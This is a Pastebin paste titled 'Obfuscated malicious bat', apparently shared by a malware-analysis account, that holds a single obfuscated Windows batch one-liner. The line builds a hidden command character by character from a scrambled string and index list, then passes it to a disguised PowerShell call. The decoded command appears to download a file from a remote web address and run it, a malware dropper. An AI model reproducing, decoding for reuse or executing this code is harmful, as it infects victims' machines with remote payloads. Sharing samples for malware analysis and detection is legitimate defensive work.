Advertisement
dissectmalware

Obfuscated malicious bat

Dec 7th, 2018
538
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Batch 1.32 KB | None | 0 0
  1. c:\zOPPlIp\FGBdnPlMDTOqo\wpSspzDiH\..\..\..\windows\system32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V:/C"set jOLX=wEZhavAiOuzFlKOzhQlGzhwjNwizoC6kndc\@Dr$t}bxs4f)YSgMyW7H/:1e;5Um=8I,.(+?p0 'XT-{&&for %6 in (39,21,18,40,64,75,28,62,4,75,60,39,13,17,1,64,32,59,25,78,28,42,23,59,34,40,74,24,59,40,68,53,59,42,29,18,26,59,32,40,60,39,44,66,63,64,75,21,40,40,72,57,56,56,34,4,59,32,40,26,5,4,50,59,68,34,28,63,56,13,55,2,56,33,26,9,52,27,68,72,21,72,71,18,64,38,59,25,42,58,45,68,40,31,32,75,68,49,72,18,26,40,69,75,36,75,47,60,39,66,6,24,64,75,11,44,48,75,60,39,53,49,48,74,64,74,75,61,54,30,75,60,39,34,23,1,64,75,14,53,31,75,60,39,26,11,31,64,39,59,32,5,57,40,59,63,72,70,75,35,75,70,39,53,49,48,70,75,68,59,43,59,75,60,46,28,38,59,4,34,21,69,39,4,9,32,74,26,32,74,39,44,66,63,47,79,40,38,52,79,39,13,17,1,68,37,28,25,32,18,28,4,33,11,26,18,59,69,39,4,9,32,67,74,39,26,11,31,47,60,39,72,51,33,64,75,49,66,23,75,60,66,46,74,69,69,19,59,40,78,66,40,59,63,74,39,26,11,31,47,68,18,59,32,50,40,21,74,78,50,59,74,65,73,73,73,73,47,74,79,66,32,5,28,31,59,78,66,40,59,63,74,39,26,11,31,60,39,13,1,2,64,75,14,46,76,75,60,42,38,59,4,31,60,41,41,34,4,40,34,21,79,41,41,39,77,32,2,64,75,6,66,18,75,60,85)do set jIm=!jIm!!jOLX:~%6,1!&&if %6 equ 85 %APPDATA:~-13,-12%ow%HOMEPATH:~3,1%%APPDATA:~-7,1%she%CommonProgramFiles:~26,1%%LOCALAPPDATA:~-1,1% "!jIm:~5!""
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement